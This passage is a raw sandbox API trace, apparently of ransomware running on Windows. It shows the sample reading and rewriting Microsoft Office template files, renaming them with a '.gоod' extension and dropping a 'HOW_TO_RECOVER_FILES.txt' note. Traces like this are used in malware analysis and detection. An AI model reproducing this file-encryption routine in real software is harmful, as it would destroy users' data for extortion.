ftCreationTime.dwLowDateTime=0xb6a2342, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x482a)) returned 1 [0272.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3f0) returned 1 [0272.886] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", lpFilePart=0x0) returned 0x4d [0272.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0272.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0272.887] GetFileType (hFile=0x768) returned 0x1 [0272.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0272.887] GetFileType (hFile=0x768) returned 0x1 [0272.887] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x1000 [0272.887] ReadFile (in: hFile=0x768, lpBuffer=0x396f448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb458, lpOverlapped=0x0 | out: lpBuffer=0x396f448*, lpNumberOfBytesRead=0x200eb458*=0x1000, lpOverlapped=0x0) returned 1 [0272.888] CloseHandle (hObject=0x768) returned 1 [0272.888] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", lpFilePart=0x0) returned 0x4d [0272.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0272.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0272.888] GetFileType (hFile=0x768) returned 0x1 [0272.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0272.888] GetFileType (hFile=0x768) returned 0x1 [0272.889] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x482a [0272.889] WriteFile (in: hFile=0x768, lpBuffer=0x3970738*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200eb378, lpOverlapped=0x0 | out: lpBuffer=0x3970738*, lpNumberOfBytesWritten=0x200eb378*=0x10, lpOverlapped=0x0) returned 1 [0272.890] CloseHandle (hObject=0x768) returned 1 [0272.890] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", lpFilePart=0x0) returned 0x4d [0272.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0272.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0272.890] GetFileType (hFile=0x768) returned 0x1 [0272.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0272.890] GetFileType (hFile=0x768) returned 0x1 [0272.890] ReadFile (in: hFile=0x768, lpBuffer=0x3973630, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb408, lpOverlapped=0x0 | out: lpBuffer=0x3973630*, lpNumberOfBytesRead=0x200eb408*=0x1000, lpOverlapped=0x0) returned 1 [0273.851] CloseHandle (hObject=0x768) returned 1 [0273.851] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", lpFilePart=0x0) returned 0x4d [0273.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0273.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0273.852] GetFileType (hFile=0x768) returned 0x1 [0273.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0273.852] GetFileType (hFile=0x768) returned 0x1 [0273.852] WriteFile (in: hFile=0x768, lpBuffer=0x3865ce0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200eb4b8, lpOverlapped=0x0 | out: lpBuffer=0x3865ce0*, lpNumberOfBytesWritten=0x200eb4b8*=0x1010, lpOverlapped=0x0) returned 1 [0273.852] CloseHandle (hObject=0x768) returned 1 [0273.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt", lpFilePart=0x0) returned 0x4d [0273.852] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt.gоod", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt.gоod", lpFilePart=0x0) returned 0x52 [0273.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb3f0) returned 1 [0273.852] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt"), fInfoLevelId=0x0, lpFileInformation=0x200eb4d0 | out: lpFileInformation=0x200eb4d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6a2342, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9f71f50f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x483a)) returned 1 [0273.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3b0) returned 1 [0273.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt.gоod")) returned 1 [0273.854] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt", lpFilePart=0x0) returned 0x4e [0273.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb430) returned 1 [0273.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\msgbox.accdt"), fInfoLevelId=0x0, lpFileInformation=0x389f228 | out: lpFileInformation=0x389f228*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ca4)) returned 1 [0273.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3f0) returned 1 [0273.854] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt", lpFilePart=0x0) returned 0x4e [0273.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0273.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\msgbox.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0273.855] GetFileType (hFile=0x768) returned 0x1 [0273.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0273.855] GetFileType (hFile=0x768) returned 0x1 [0273.855] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x1000 [0273.855] ReadFile (hFile=0x768, lpBuffer=0x389f660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb458, lpOverlapped=0x0) Thread: id = 205 os_tid = 0xeb4 [0159.568] CoGetContextToken (in: pToken=0x201eecb0 | out: pToken=0x201eecb0) returned 0x0 [0159.568] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x201eece8 | out: ppvObject=0x201eece8*=0x12e64e8) returned 0x0 [0159.568] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x201eed58 | out: pThreadType=0x201eed58*=0) returned 0x0 [0159.568] IUnknown:Release (This=0x12e64e8) returned 0x0 Thread: id = 207 os_tid = 0x84 [0143.259] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0143.260] CoGetContextToken (in: pToken=0x202ef260 | out: pToken=0x202ef260) returned 0x0 [0143.260] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x202ef298 | out: ppvObject=0x202ef298*=0x12e64e8) returned 0x0 [0143.260] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x202ef308 | out: pThreadType=0x202ef308*=0) returned 0x0 [0143.260] IUnknown:Release (This=0x12e64e8) returned 0x0 [0143.260] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0143.260] CoUninitialize () [0143.260] RoInitialize () returned 0x1 [0143.260] RoUninitialize () returned 0x0 [0143.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0143.261] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache", lpFilePart=0x0) returned 0x20 [0143.261] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3bb90fac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.261] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3bb90fac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.262] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bb90fac, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bb90fac, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bb90fac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0143.262] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0143.262] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x29d2b756, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29d2b756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0143.262] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0143.262] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2bde7c80, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2bde7c80, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0143.262] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0143.263] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x35b3bf75, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x35b3bf75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x389f58a1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x389f58a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x395bb29e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x395bb29e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3ad8f55b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3ad8f55b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0143.265] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0143.265] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0143.265] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0143.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0143.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0143.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0143.265] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache", lpFilePart=0x0) returned 0x20 [0143.265] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x202ee0f0 | out: 